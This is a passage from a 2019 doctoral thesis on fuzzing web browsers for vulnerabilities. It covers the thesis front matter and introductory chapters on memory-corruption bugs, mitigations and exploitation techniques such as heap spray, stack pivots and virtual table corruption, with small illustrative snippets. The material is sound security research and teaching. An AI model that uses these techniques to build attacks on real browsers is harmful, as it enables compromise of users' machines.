Vulnerability detection on web browsers

Yu, Haiwan

2019

Yu, H. (2019). Vulnerability detection on web browsers. Doctoral thesis, Nanyang Technological University, Singapore.

<https://hdl.handle.net/10356/143063>

<https://doi.org/10.32657/10356/143063>

This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License (CC BY-NC 4.0).

Downloaded on 26 Apr 2023 21:09:17 SGT

**NANYANG
TECHNOLOGICAL
UNIVERSITY**
SINGAPORE

Vulnerability Detection on Web Browsers

Yu Haiwan

SCHOOL OF PHYSICAL AND MATHEMATICAL SCIENCES

2019

Vulnerability Detection on Web Browsers

Yu Haiwan

SCHOOL OF PHYSICAL AND MATHEMATICAL SCIENCES

A thesis submitted to the Nanyang Technological
University in partial fulfilment of the requirement for the
degree of Doctor of Philosophy

2019

Statement of Originality

I hereby certify that the work embodied in this thesis is the result of original research done by me except where otherwise stated in this thesis. The thesis work has not been submitted for a degree or professional qualification to any other university or institution. I declare that this thesis is written by myself and is free of plagiarism and of sufficient grammatical clarity to be examined. I confirm that the investigations were conducted in accord with the ethics policies and integrity standards of Nanyang Technological University and that the research data are presented honestly and without prejudice.

14-Aug-2019

.....

Date

.....

Yu Haiwan

Supervisor Declaration Statement

I have reviewed the content and presentation style of this thesis and declare it is free of plagiarism and of sufficient grammatical clarity to be examined. To the best of my knowledge, the research and writing are those of the candidate except as acknowledged in the Author Attribution Statement. I confirm that the investigations were conducted in accord with the ethics policies and integrity standards of Nanyang Technological University and that the research data are presented honestly and without prejudice.

14 Aug 2019

Date

Assoc Prof. Wu HongJun

Authorship Attribution Statement

This thesis does not contain any materials from papers published in peer-reviewed journals or from papers accepted at conferences in which I am listed as an author.

14-Aug-2019

.....

Date

.....

Yu Haiwan

Abstract

Web browser is the most commonly used software to access the Internet. Any vulnerability in a popular web browser will compromise the security and privacy of its users. With the increasing complexity of modern web browsers, the attack surface of web browser increased dramatically and more vulnerabilities were introduced.

In this thesis, we developed a fuzzing framework to detect vulnerability in the web browser. Our fuzzing framework is designed for large scale fuzzing of all the popular web browsers running on virtual machines. Our fuzzing framework supports fuzzing with multiple test case generation strategies in a test case generator set, and test case generation strategies can be changed when fuzzer is running. By running this fuzzing framework together with our various vulnerability detection methods, many crashes were found and in total 5 CVEs were assigned to the vulnerabilities being found.

In this thesis, we proposed a new type of vulnerability, namely, the memory pressure bugs. This type of vulnerability was triggered by failed memory allocation. Using the existing fuzzing methods, it is extremely hard to trigger this type of bugs. It is also extremely difficult to reproduce this type of bugs since reproducing the crashes requires the identical memory allocation to be failed, while the memory allocations in computer system are hard to predict in general. To trigger this type of bugs, we developed low memory simulation instrumentation tools to aid our fuzzer to detect memory pressure bugs in web browsers. To reproduce this type of bugs, we introduced precise memory pressure in JavaScript code. We solve the problem of premature allocation failure of memory pressure bug by leveraging on the memory fragmentation to reserve memory space for allocation before the target allocation. Three new vulnerabilities of memory pressure bugs were successfully found in the Internet explorer.

In this Thesis, we analyzed 5 CVEs we have found and a zero-day vulnerability in Internet explorer. We exclusively disclose the details of these 6 vulnerabilities and proof of concept (POC) to trigger them.

Acknowledgements

I wish to express my greatest gratitude to my supervisor Prof. Wu HongJun who guided me through four years of my PhD Candidacy. I appreciate his guidance that gives me precious experience in computer security and cryptography.

I would like to thank Dr Wei Lei and Dr Wang ChenYu for their guidance on fuzzing and crash analysis. They provide helpful advice to solve problems I have encountered in my research. I will also like to thank Dr Huang Tao and Peng Lunan for help on my research projects.

I would like to thank the anonymous examiners of this thesis for their valuable time spent and the comments they provide.

Furthermore, I will like to thank my parents who support me both mentally and financially that helps me to overcome the difficulties in my PhD study.

Lastly, I would like to thank my wife Li Jingxi, for her sacrifice when I am busy with my research.

Contents

Abstract	ix
Acknowledgements	xi
List of Figures	xvii
Symbols and Acronyms	xix
1 Introduction	1
1.1 Vulnerability	1
1.1.1 Stack Buffer Overflow	2
1.1.2 Heap vulnerabilities	3
1.1.2.1 Heap out of bound access	4
1.1.2.2 Use After Free	4
1.1.2.3 Type confusion	5
1.1.2.4 Uninitialized memory access	5
1.2 Mitigations	6
1.2.1 StackGuard	6
1.2.2 DEP	6
1.2.3 Address Space Layout Randomization	7
1.2.4 Control-flow Integrity	8
1.3 Exploitation	8
1.3.1 Info leak	8
1.3.2 Virtual table pointer corruption	9
1.3.3 Return oriented programming	10
1.3.4 Heap Spray	10
1.4 Vulnerability Detection	12
1.4.1 Static Analysis	13
1.4.2 Dynamic Analysis	13
1.4.3 Fuzzing	14
1.4.4 Error detecting tools	15
1.5 Thesis Organization	15
1.5.1 Thesis Statement	16

2	Browsers and their vulnerabilities	17
2.1	Introduction	17
2.2	Browser Structure	18
2.2.1	HTML and Document Object Model	18
2.2.2	JavaScript Engine	20
2.2.3	CSS	21
2.3	Browser vulnerabilities and exploit	22
2.3.1	Use-After-Free	22
2.3.2	Arbitrary read and write	22
2.4	JIT	23
2.5	Browser mitigations	23
2.5.1	MemGC and Isolated Heap	23
2.6	Browser Vulnerability Discovery	24
3	Generation-based Browser Fuzzer	27
3.1	Introduction	27
3.1.1	Browser Vulnerability Detection	27
3.1.1.1	Mutation-based fuzzing	28
3.1.1.2	Generation-based fuzzing	28
3.1.2	Motivation	29
3.2	Fuzzing framework	30
3.2.1	Test case generation	30
3.2.1.1	Grammar and Vocabulary	32
3.2.1.2	General purpose DOM	34
3.2.1.3	Internet Explorer DOM	35
3.2.1.4	JavaScript Engine	36
3.2.2	Fuzzing Server	37
3.2.3	Error Detection and Reporting	38
3.2.4	Crash Archive	39
3.2.5	Crash POC Minimizer	40
3.3	Implementation	41
3.3.1	Internet Explorer	41
3.3.2	Microsoft Edge	42
3.3.3	Webkit	43
3.3.4	Chromium and Firefox	44
3.4	Result	45
4	Memory Pressure Bug	47
4.1	Introduction	47
4.1.1	Potential target for memory pressure bug	48
4.1.2	Example of memory pressure bug	49
4.1.3	Challenges	50
4.2	Our Approach	50

4.2.1	Memory pressure instrumentation	51
4.2.1.1	PIN Instrumentation	52
4.2.1.2	Address Sanitizer	53
4.2.2	Minimizing POC	55
4.2.3	Pressurization of the heap	57
4.2.4	Impact of allocation size	59
4.2.4.1	Location of target allocation	60
4.2.4.2	Controllable allocation	61
4.2.4.3	Uncontrollable allocation	61
4.3	Implementation and result	64
4.3.1	Open source browsers	64
4.3.2	Internet Explorer	66
4.3.3	Memory Pressurization on Internet Explorer	66
4.3.4	Result and Evaluation	67
4.4	Future works and conclusion	68
5	Crash Analysis	71
5.1	From Crash to Exploit	71
5.2	Memory Pressure Vulnerability	72
5.2.1	CVE-2017-8547	72
5.2.1.1	exploitation	75
5.2.2	CVE-2018-8643	77
5.2.3	An Internet Explorer Zero Day	79
5.3	Other Vulnerability	82
5.3.1	CVE-2018-12910	82
5.3.2	CVE-2018-12911	83
5.3.3	CVE-2018-4375	84
5.3.4	A Microsoft Edge Type Confusion Vulnerability	86
6	Conclusion	91
6.1	Future Work	91
A	Full POC of an Internet Explorer Zero-Day	93

List of Figures

1.1	Stack Buffer Overflow	3
1.2	Heap Spray of a heap buffer overflow	12
2.1	DOM tree of table element in listing 2.1	19
3.1	An overview of the fuzzing framework.	31
3.2	General flow of generator in domato	32
3.3	How test case is generated from Grammar and Vocabulary	33
3.4	The basic structure of a general purpose DOM test case generator	35
4.1	The general workflow of our approach	51
4.2	A flowchart of the minimizer	55
4.3	Control flow of pressurization process	60
4.4	Memory layout during memory pressurization	63
5.1	The root cause binary code in Array.reverse	88

Symbols and Acronyms

Acronyms

ASLR	Address Space Layout Randomization
DEP	Data Execution Prevention
IE	Internet Explorer
CFI	Control Flow Integrity
CFG	Control Flow Guard
AFL	American Fuzzy Lop
OOB	Out Of Bound
UAF	Use After Free
OOM	Out Of Memory
POC	Proof Of Concept
CVE	Common Vulnerabilities and Exposures
JS	JavaScript
HTML	Hypertext Markup Language
CSS	Cascading Style Sheets

Chapter 1

Introduction

In recent years many cyber attacks were launched and they caused severe damage. For example, in April 2014, thousands of internet servers leak sensitive information, such as user account information, to malicious attackers due to the Heartbleed vulnerability [1]. In 2017, more than 2 million users became the victims of the infamous WannaCry ransomware which locks an infected computer [2]. In 2018 a cyber attack on SingHealth leaks 1.5 million patients' personal information together with 160,000 sensitive medical records [3]. With increasing threats from cyber-attacks around the world, computer vulnerability detection and prevention become a critical issue.

1.1 Vulnerability

A vulnerability is a weakness in computer system that allows the attacker to perform unauthorized operations. Vulnerabilities can cause many problems, such as the leakage of sensitive information or the full control of the computer system by the attackers. In the following, we give an introduction to the major software security vulnerabilities.

1.1.1 Stack Buffer Overflow

In the computer system, function calls are implemented using the stack data structure. Before the start of any function call, the instruction address after the function call will be pushed into the stack. This instruction address stored in the stack is called return address. Upon finishing the function execution, the return address is popped from the stack, and the program execution continues from the instruction located at the return address. The integrity of the return address on the stack is critical to security. The reason is that if an attacker can modify the return address, the attacker can change the execution flow and may execute some malicious code.

When a function is called in a computer system, the data being stored on the stack includes not only the return address, but also the local variables and input parameters to the function. Storing return address and data at the nearby locations on the stack is a serious problem to security since the overflow of a local array (buffer) of a function can result in the overwrite of the return address. This type of vulnerability is called stack buffer overflow which is the earliest form of software vulnerability [4]. A typical stack smashing attack can change the return address and point it to the shellcode injected by the attacker [4]. Figure 1.1 shows the stack buffer overflow and stack smashing attack.

With more and more stack smashing attacks being used in various malware and viruses [4–6], researchers start to find a solution to prevent stack buffer overflow vulnerabilities being exploited to develop an attack. The first-ever stack buffer overflow protection is called StackGuard which was published in 1998 [7]. It introduces a random value before the return address. This random value is called stack canary. The stack canary will be checked before the return address being used, and the execution of the program will be stopped once it is detected that there is modification to the canary value.

Many defence techniques are now implemented on both Linux and Windows platforms to protect against stack buffer overflow. For example Address Space Layout Randomization (ASLR) is now adopted by both Linux and Windows operating systems to prevent an attacker from jumping execution to the malicious shellcode [8], Data Execution Protection (DEP) can prevent malicious shellcode being executed from the not-executable memory section. Therefore with the increased

FIGURE 1.1: Stack Buffer Overflow

difficulties of exploiting stack buffer overflow vulnerabilities, hackers started to look for other types of vulnerabilities.

1.1.2 Heap vulnerabilities

In a computer system, heap is a memory portion for storing the dynamically allocated memory. For example, the malloc function in C programming allocates memory on the heap. A general idea of exploiting heap vulnerability is to trick the program to treat a data type as another data type. For example, if the program treats a function pointer as a writable data that is accessible to the user, the attacker can overwrite the function pointer so that the function pointer points to a malicious code, so when the program calls the function allocated at the address of the function pointer, the attack can be launched successfully. In the following, we introduce different types of heap vulnerabilities.

1.1.2.1 Heap out of bound access

Heap out of bound access is a common type of heap vulnerability. An out of bound access happens when an object on the heap is accessed outside of its given memory space and another heap chunk get accessed. Heap out of bound access is caused by missing or incorrect memory bound check.

Heap out of bound read/write can be exploited to compromise security mitigation or to execute arbitrary code. If the out of bound access is writable, the attacker can corrupt the controlled object's virtual function table and hijack the control flow by calling any method of the controlled object. If the purpose of heap out of bound access is to read an object and subsequently call a function in its virtual function table, the attacker can forge the object and virtual function table to hijack the control flow. If the purpose of out of bound access is to read data and output the data to the user, the attacker can spray an object and leak out the address of the virtual function table to bypass ASLR.

1.1.2.2 Use After Free

Use After Free is a type of vulnerability due to accessing an object after it has been freed. It allows the attacker to allocate the freed space with a controllable object to overwrite the freed object. If the use after free bug is a write access, it may be used to corrupt some entries in a controllable object. If the use after free bug is a read access, it may be used to leak memory information from the controllable object. Moreover, if the read access reads the virtual function table and invokes a virtual function, the attacker can forge the virtual function table in a controllable object to achieve arbitrary code execution.

A number of techniques were developed to increase the detection rate of memory error bug during fuzzing [9, 10]. For example, the address sanitizer uses LLVM instrumentation to replace the allocation method in the target program. During every allocation, address sanitizer will allocate additional regions around the allocated region, and those additional regions will be poisoned and additional information about the allocated region will be saved in a shadow memory. Upon freeing up the allocated region, address sanitizer will quarantine the freed memory. This will raise an error when freed memory is accessed [11].

1.1.2.3 Type confusion

Type confusion is a common vulnerability in various applications [12]. It is usually caused by an unsafe typecasting in C++. Listing 1.1 shows an example of type confusion in C++. The type A is a parent type of B, when an object of type A is downcasted to type B, it will be an unsafe typecasting. The typecasting in line 11 in Listing 1.1 is unsafe. There will be a memory corruption at line 12, because y is only a property of B, changing the value of y in an object with type A will cause an out of bound access. Likewise in line 13 of Listing 1.1, the print function is only a virtual function of type B, it may thus allow control flow hijacking.

```
1
2 class A{
3     int x;
4 };
5 class B:A{
6     int y;
7     virtual void print();
8 }
9 int main(){
10     A *Aptr = new A;
11     B *Bptr = static_cast<B*>Aptr;
12     Bptr->y = 0x41;
13     Bptr->print();
14 }
```

LISTING 1.1: An example of type confusion in C++

1.1.2.4 Uninitialized memory access

Uninitialized read is a vulnerability when software access uninitialized memory. When a memory is freed in C++, the memory still retains its value. So when an attacker allocates an object and frees it up, the values of the object will remain in the memory. In this way, the attacker can allocate a controllable object and free it before allocating the uninitialized object. The uninitialized read will read values of the controllable object and treat it as the uninitialized object. Similar to type confusion, if the value is read out as a virtual function table, the attack will be

able to hijack the control flow by forging a virtual function table. If the value is read out as an output to the user, the attacker may use this information to bypass address sanitizer.

1.2 Mitigations

Many mitigations were implemented over the years to prevent vulnerabilities from being exploited. The mitigations would force the attacker to develop new exploitation technique to bypass the protection. In this section, various mitigation techniques will be introduced.

1.2.1 StackGuard

StackGuard introduced by GCC in 1998 is the first protection against buffer overflow vulnerability [7]. It protects the integrity of the return address(es) on the stack. The StackGuard places a stack canary right above the return address for each function call. The stack canary is randomly generated, so its value is hard for the attacker to guess correctly. Before every function return, the stack canary will be checked. If the value of the stack canary changes, the program will be terminated. This mitigation prevents the shellcode being executed when the return address is overflowed.

StackGuard increases the difficulty of a stack smashing attack. The attacker has to either leak the canary value so as to overwrite the return address with the correct canary or to overflow only the stack memory before the canary to exploit the vulnerability in another way. Note that this mitigation does not prevent the attacker from overwriting some values on the stack or preventing the buffer overflow in the heap.

1.2.2 DEP

Data Execution Prevention (DEP) is a mitigation implemented in both Linux and Windows operating systems to prevent the shellcode from being executed in data

pages. If the CPU supports no-execute page-protection (NX), the kernel will mark all data pages as memory non-executable, and it thus prevents an attacker from executing code injected in data pages. The standard return-to-shellcode exploit will result in an immediate crash of the program if DEP is enabled. Furthermore, to prevent a buffer overflow to overwrite code pages, the executable page is usually non-writable.

DEP can be applied to mitigate successfully the shellcode injection in data pages, and it forced the attacker to find alternative ways to execute arbitrary code when control flow is hijacked. The code reuse attack can be an alternative way to run arbitrary code when DEP is enforced. Over the years, there are a number of code reuse attacks being proposed to bypass DEP [13–15]. For example in the return-to-libc attack, the attacker can make a system call to launch a shell without injecting any shellcode in the memory [16].

DEP can also be bypassed if the attacker manages to call `mprotect` function or `VirtualProtect` function to change the page containing shellcode executable before executing the shellcode. This is usually the last step of a code reuse attack before calling the injected shellcode.

1.2.3 Address Space Layout Randomization

Address Space Layout Randomization (ASLR) is an effective tool to prevent arbitrary code execution. ASLR randomizes the base address of code, stack and heap of the processes [8]. ASLR increases the difficulty of knowing the critical addresses in memory space, so it is useful for preventing the attacker from performing a code-reuse attack. For example, it can prevent the attacker from locating ROP gadgets in the memory space and thus preventing the ROP attack.

However, ASLR implementations in both Linux and Windows operating systems are coarse-grained since it only randomizes the base address of a memory segment. If an info leak vulnerability leaks the address of a known function in a library, the attacker will be able to calculate the value of the base address of the library in memory and thus know all the code addresses in the library [17].

1.2.4 Control-flow Integrity

In order to prevent control-flow hijacking, Control Flow Integrity (CFI) was introduced [18]. Control-flow Integrity assigns a signature to each control flow transfer and checks for the signature before every indirect control-flow transfer. This prevents the attacker from hijacking the control flow through indirect control-flow transfer. However, a complete CFI implementation will cause a high overhead to the program, therefore most CFI implementation is coarse-grained and limited.

Visual studio 2015 allows a developer to add Control Flow Guard to their Windows applications [19]. The Control Flow Guard identifies all the starting addresses of functions that can be a destination of an indirect function call. It will also insert a check before every indirect call to verify if the destination is a starting address of a function. If the check fails, the program is terminated immediately to prevent control-flow hijacking [19]. Control Flow Guard prevents virtual table pointer corruption from redirecting the control flow to a ROP gadget or an injected shellcode, However it does not stop the attacker from redirecting the control flow to another function. This allows the attacker to use Counterfeit Object-Oriented Programming (COOP) where the attacker can use a whole function as a gadget [20].

1.3 Exploitation

With many mitigation techniques being implemented in both Linux and Windows system, a full exploit may require multiple vulnerabilities and multiple exploitation techniques. In this section, we will introduce various exploitation techniques being used to develop vulnerabilities into an arbitrary code execution.

1.3.1 Info leak

With ASLR and DEP being implemented in both Windows and Linux operating systems, traditional return-to-shellcode exploit is no longer applicable. DEP forces the attacker to reuse the existing code, while ASLR makes the addresses of existing codes difficult to predict. Therefore new exploitation is needed to leak the critical

information in memory. Many vulnerabilities can be used to leak information in memory. For example, an out of bound read may read memories values on the object next to the over-reading object, With heap spray technique, the attacker can control the object being located next to the over-reading object. In this way, the attacker can read the critical information in the attacker-controlled object, such as a virtual function table. Other than out of bound read, the out of bound write vulnerability can also be used for info leak. The attacker can spray an array object after the overflowing object and overwrite the bound information on the array. This will allow the attacker to use the array object to read the whole memory space and leak critical information.

Other than assisting the attacker to achieve arbitrary code execution, a single info leak attack is a serious threat to security. The heartbleed vulnerability in OpenSSL can cause an info leak to leak user names and passwords stored in a server [1].

1.3.2 Virtual table pointer corruption

A virtual function is a member function of a C++ class which can be redefined in its child class. If a C++ class has one or more virtual function defined, a virtual table will be used to store pointers to those functions. Every object of that class will have a pointer pointing to the virtual table. When a virtual function is invoked, the virtual table pointer will be used to access the virtual table and the function in the virtual table will be called. If an attacker manages to corrupt the virtual table pointer of an object, it can modify the virtual table pointer to a forged virtual table, so calling any virtual function of the corrupted object will direct the control flow to the attacker's control.

Virtual table pointer corruption is commonly used for exploiting various memory corruptions in heap. Due to the development of heap spray, the attacker gains the ability to precisely allocate attacker-controlled object into the heap. This makes virtual table pointer corruption a perfect candidate for control flow hijacking.

1.3.3 Return oriented programming

Return Oriented programming (ROP) is an advanced code reuse attack to achieve arbitrary code execution when the attacker is able to hijack the control flow [13]. It allows the attacker to execute arbitrary code using gadgets in the existing code libraries. Unless the attacker already has full control of stack value like in the case of stack buffer overflow, the first gadget of return oriented programming must be a stack pivot gadget. A stack pivot is a gadget that changes the value of the stack pointer register to any register value controlled by the attacker. Listing 1.2 shows an example of a stack pivot. This stack pivot will change the stack pointer to the address stored in *eax*. If the attacker has control of the register *eax*, the attacker will be able to control the stack by executing this stack pivot. Once the attacker has full control on the stack, the attacker can use code gadgets in the existing code to control all register values. For example, if an attacker wants to control register *eax*, it can just return to a gadget with instruction *pop eax* follow by a *ret*. In this way, the attacker can pop the value on the stack to register *eax*.

```
1 | push eax
2 | pop esp
3 | ret
```

LISTING 1.2: an example of a stack pivot gadget

A common usage of ROP is to call the `VirtualProtect` or `mprotect` function which has the ability to change the memory protection flag of a memory page to executable, then subsequently return to the shellcode to perform arbitrary code execution.

1.3.4 Heap Spray

Heap spray is a technique to put attacker control object into the right location in memory space. Heap spray is generally used in scripting languages such as JavaScript in the web browser or ActionScript in Adobe Flash where the attacker is able to allocate any amount of memory with any size. A very naive heap spray allows the attacker to fill up memory with shellcode to bypass ASLR. This gives a high chance of jumping to a shellcode when the attacker redirects the control flow to

a random memory location. More advanced heap spray uses the heap fragmentation to spray object precisely to the intended address in memory. Most heap related vulnerabilities requires the control of heap to be exploited. For example, Use-After-Free bugs exploit usually require the attacker to be able to replace the freed region with an attacker control object.

In order to reduce the memory fragmentation in heap, heap memory allocator usually maintains a free list for each allocation size. When a memory chunk is freed, it will be added to the free list. Upon an allocation request from a process, the allocator will check if the free list of the required size contains any free memory chunk. If there exists a free memory chunk of that size in the free list, the allocator will return that chunk; otherwise, the allocator will slice and return a memory chunk from a large free memory chunk [21].

The heap spray leverage on the free list implementation of memory allocation that when a heap allocation is requested, the free chunk with the same size in the free list will always be allocated first. For example in a Use-After-Free bug, if the Use-After-Free memory chunk is n bytes, the attacker can fill the freed memory chunk by allocating multiple of n -byte attacker control objects.

When heap overflow occurs, heap spray can be used to put an attacker control object right after the overflowing object [22]. Figure 1.2 shows the general approach of heap spray for heap overflow. The attacker starts with allocating multiple overflowing objects, then frees up every alternate object to create a fragmented free chunk in the memory space. The attacker then allocates multiple attacker-controlled objects that have the same size as the free chunk. In this way, the attacker-controlled object will be allocated after each overflowing objects. This heap spray technique guarantees that the heap overflow in the vulnerable object will overwrite an attacker-controlled object [22].

Finding a good object to implement heap spray is essential. A good heap spray object must have controllable size and values. For example, the string object in JavaScript is a good heap spraying object [23]. Heap spray is a now widely used exploitation method for web browser and its plug-ins.

FIGURE 1.2: Heap Spray of a heap buffer overflow

1.4 Vulnerability Detection

There are two types of vulnerability detection method, Dynamic analysis and Static analysis. Static analysis usually finds the code pattern in source code or binary that matches certain vulnerability [24–27]. Dynamic analysis executes the program with a different type of input to find vulnerability [28, 29]. The advantage of static analysis is that it does not require to execute the program in order to find bugs and it can be used to find all related bug in binary code level. However static analysis

is known for its high false-positive rate [30, 31]. Unlike dynamic analysis, the static analysis does not produce a POC input file when it discovers a bug. Unless the user is able to figure out the POC file from their experience, the bug found by static analysis are usually non-exploitable. On another hand, the dynamic analysis produces input to the program and execute the program for vulnerability. In this way, the a POC file will be the input file which is guaranteed in dynamic analysis.

1.4.1 Static Analysis

Static analysis is a method to detect vulnerability by analysis of source code or binary of the target program. This kind of methods matches the code pattern of certain vulnerability with the code of the target program. static analysis is proven to be successful in finding simple bugs like buffer overflow bugs, format string bugs etc [32, 33]. Thus the static analysis is a widely used technique to detect vulnerability in the code review stage of development. It is easy to implement, easy to scale and fast. Static analysis of vulnerability is now integrated into many code analysis tools and is widely used in the industry to prevent vulnerability in the developing stage. However static analysis still has its downside. It usually has a very high false-positive rate and unable to produce a working proof of concept. Therefore verifying the correctness of static analysis is still a challenge. Static analysis also has difficulties in finding a complex bug on a complex project like a web browser.

1.4.2 Dynamic Analysis

Unlike static analysis, dynamic analysis detect vulnerability by running the target program and monitoring its behaviour. Bugs found by dynamic analysis are usually reproducible and easy to verified. There are two types of most common dynamic analysis method, symbolic execution and fuzzing. The symbolic execution analyses the program by creating a symbol as input and interpret the symbol value for each path in the program [29]. The symbolic execution can be used to determine the input values of a program for each of its paths to be executed, In theoretical a symbolic execution can achieve 100% code coverage. However in practice, the symbolic execution is very slow, the widely used symbolic executor KLEE is 3000

times slower than the normal execution [34]. The symbolic execution will suffer from path explosion when the program becomes larger, the time consumed to solve a symbol will grow dramatically for a large program like a web browser. This makes symbolic execution unsuitable to discover a vulnerability in a large program like a web browser.

On the other hand, fuzzing is efficient for practical usage [28]. Although a simple mutation-based fuzzer is inefficient to find bugs in the program, developers had proposed many techniques to increase the performance of the fuzzer. There are also generation-based fuzzer where the researchers write test case generator depends on the syntax of the required input of the target program. This greatly reduces the syntax error in the test case file eventually improves the performance of the fuzzer. Other than using generation-based fuzzing, code coverage guided fuzzer like AFL uses code coverage to guide their fuzzing strategy [35], code coverage helps the mutation-based fuzzer to evolve during the fuzzing process to cover as much code as possible

1.4.3 Fuzzing

Fuzzing is proven to be a successful method in browser vulnerability detection, There are researchers discover more than hundred exploitable bugs on fuzzing Internet Explorer[36]. Google Project Zero also use fuzzing to discover dozens of security bug on all popular web browsers[37]. The result of fuzzing seems promising and there is still work to be done to improve the current fuzzing technique. Because of the randomness of the test case generated by fuzzing, it is unlikely a fuzzing strategy can cover all possible test case. Therefore new fuzzing technique and new fuzzing strategy will always be needed to find vulnerabilities in the web browser. Also, the modern web browser is still evolving with new functionality and features, all those new sourcecode injected to the program may introduce new vulnerabilities, therefore a continuous development of fuzzing is required to cover new functionality and features. Fuzzing is now still used by many companies to test their product. Microsoft uses the fuzzing test as one of the phases of Microsoft Security Development Lifecycle [?]. The OSS-Fuzz developed by google is currently fuzzing more than 200 projects. While the Chromium project is currently fuzzed with 15000 cores.

1.4.4 Error detecting tools

Other than the technique used on the test case generation method, there are also many errors detecting tools proposed to detect various vulnerabilities during the fuzzing process [10, 11, 38]. For example, Address sanitizer is an error detecting tool developed by google [11]. Bugs like use-after-free and buffer overflow can be easily detected by address sanitizer while otherwise unable to be discovered if no error detecting tools are used. Error detecting tool also makes identifying the root cause of a crash easier.

1.5 Thesis Organization

Chapter two of this thesis will be the literature review about modern web browser security. We will be discussing common vulnerabilities that affect modern browser and method of detecting those vulnerabilities. Also, common exploitation techniques to exploit those vulnerabilities will be discussed. We will also shortly discuss the mitigation implemented in modern web browsers to defend against security threats.

Chapter three of this thesis will describe the generation-based fuzzer we developed to detect vulnerabilities in a modern browser. Our fuzzer is capable of fuzzing all modern browsers with the ability to scale. We used a web server as our medium to deliver test cases to the browser. Our fuzzer supports multiple test case generating strategies.

Chapter four of this thesis will introduce a new type of bug, the memory pressure bugs. We developed a method to detect memory pressure bugs using fuzzing. We used instrumentation to change the allocation function in the target program to simulate low memory condition. We also describe a memory pressure method in JavaScript to reproduce crash found in fuzzing.

Chapter five of this thesis will analyse the vulnerabilities we found using our fuzzer. We have found a total of 5 CVEs use our fuzzer and two of them are memory pressure bug in Internet Explorer. We also found 2 vulnerability in WebKit and 1

vulnerability in Libsoup. Other than vulnerabilities assigned with CVE. We also found an interesting vulnerability in Microsoft Edge.

1.5.1 Thesis Statement

This thesis presented multiple techniques to discover vulnerabilities in the web browser, including a fuzzing framework, supports multiple test case generation strategy, methods to discover and reproduce memory pressure bugs and crash analysis of vulnerabilities found by using both methods.

Chapter 2

Browsers and their vulnerabilities

2.1 Introduction

Since the birth of the first web browser WorldWideWeb in the 1990s, the web browser starts to become our major computer application to access the Internet [39]. Nowadays every operating system has a default browser come along with. For example, Windows 7 has Internet Explorer as its default browser and Ubuntu has Firefox as its default browser. There are more than 4 billion internet users in the world and the number is still growing[40]. And every internet user uses web browsers in their daily work and life.

Web browsers are known for their complexity, the chromium project(Google Chrome) consists of more than 30 million lines of code [41]. With the increasing complexity of web technologies, more vulnerabilities will be introduced when web browsers add new code to implement new functionalities[42]. Therefore a continuous vulnerability detection is required for the browser. In this chapter, we will be discussing the browser's structure, common attack vector of browsers, Common vulnerabilities and vulnerability mitigations in browsers.

2.2 Browser Structure

The browser has a rendering engine to display network contains, the rendering engine usually takes an HTML(HyperText Markup Language) document to display web contains. Sometimes browsers can display other contains with help with plugin or add-ons. Modern web browsers usually come with a built-in JavaScript engine that allows a web document to run code in the browser. An HTML file usually has 3 major components, The DOM(Document Object Model) tree displays the structure of the web page, The CSS(Cascading Style Sheets) describe the way elements in DOM display on the screen and JavaScript engine that provides many API to handle most browser components.[43]

2.2.1 HTML and Document Object Model

The DOM(Document Object Model) tree is defined in an HTML element. It serves as the basic structure for HTML elements in the browser's window. Elements in the HTML document will form a DOM tree during the rendering process. The figure 2.1 shows a DOM tree created from the HTML in 2.1.[44]

```
1 <TABLE>
2 <ROWS>
3 <TR>
4 <TD>1</TD>
5 <TD>2</TD>
6 </TR>
7 <TR>
8 <TD>3</TD>
9 <TD>4</TD>
10 </TR>
11 </ROWS>
12 </TABLE>
```

LISTING 2.1: An example of table structure in HTML

Elements in the DOM tree can have their properties defined in HTML. Modern browsers allow the DOM tree to be altered by JavaScript code. It provides rich APIs for JavaScript to interact with DOM, from deleting and creating elements to

FIGURE 2.1: DOM tree of table element in listing 2.1

handling events caused by DOM elements. Almost all operations in DOM can be done automatically using JavaScript. Other than JavaScript and HTML, Cascading Style Sheets(CSS) can be used to define the style of DOM elements.

DOM fuzzing is a very popular topic on browser security, many fuzzer was developed specifically for DOM [37, 45]. DOM fuzzing usually uses JavaScript to mutate the DOM element together with event handling. Because event handling combines with DOM mutation is a common source for Use-After-Free bug. If the event was triggered in the DOM and it will call the event handler written in JavaScript, the event handler may cause some mutation to the DOM tree this will, in the end, free up some objects that may be used later.

2.2.2 JavaScript Engine

JavaScript is the scripting engine used by every modern browser. It is a lightweight just-in-time language. JavaScript can be used to access many Web API in the browser. It can be used to send request, alter DOM structures, define CSS values, etc. The listing 2.2 shows an example of JavaScript changing the inner text of a TD element in the DOM tree.

```
1  <TABLE>
2  <ROWS>
3  <TR>
4  <TD>1</TD>
5  <TD>2</TD>
6  </TR>
7  <TR>
8  <TD>3</TD>
9  <TD id="4">4</TD>
10 </TR>
11 </ROWS>
12 </TABLE>
13 <SCRIPT type="text/javascript">
14 document.getElementById("4").innerText = "6"
15 </SCRIPT>
```

LISTING 2.2: A example of JavaScript interact with DOM tree

There are many types of JavaScript engines used by different browsers, for example, Internet Explorer uses Jscript while Google chrome uses V8. Some JavaScript engines are open source and can be compiled into a stand-alone JavaScript console. This allows researchers to implement grey-box fuzzing on those JavaScript engines. Many browser exploitation techniques are developed in recent years and most of the exploit on browsers are written in JavaScript [22, 23]. The vulnerabilities in JavaScript engines are usually easier to exploit than on other attack vector. Because the attacker can use JavaScript to directly access JavaScript objects. Many fuzzer was developed to fuzz JavaScript engines, for example, JSfunfuzz was developed to fuzz SpiderMonkey, the JavaScript engine for Firefox. [46–49].

2.2.3 CSS

Cascading Style Sheets (CSS) is an important component of the browser's rendering engine. The web page uses CSS to define the style, layout, and colours of DOM elements. A CSS can be used by multiple web page to adopt same formatting styles. CSS defines the presentation of a web page while the DOM tree defines the content and structure of a web page. This separation of content structure and presentation provides more flexibility to a web page. CSS together with HTML DOM and JavaScript form the web page that we see today. The example in Listing 2.3 shows the CSS defines the colour and font-size of TD elements, All TD elements will be affected by this.

```
1 <STYLE>
2 TD {
3     color: purple;
4     font-size: 5em
5 }
6 </STYLE>
7 <TABLE>
8 <ROWS>
9 <TR>
10 <TD>1</TD>
11 <TD>2</TD>
12 </TR>
13 <TR>
14 <TD>3</TD>
15 <TD id="4">4</TD>
16 </TR>
17 </ROWS>
18 </TABLE>
19 <SCRIPT type="text/javascript">
20 document.getElementById("4").innerText = "6"
21 </SCRIPT>
```

LISTING 2.3: An example of using CSS on DOM tree

2.3 Browser vulnerabilities and exploit

2.3.1 Use-After-Free

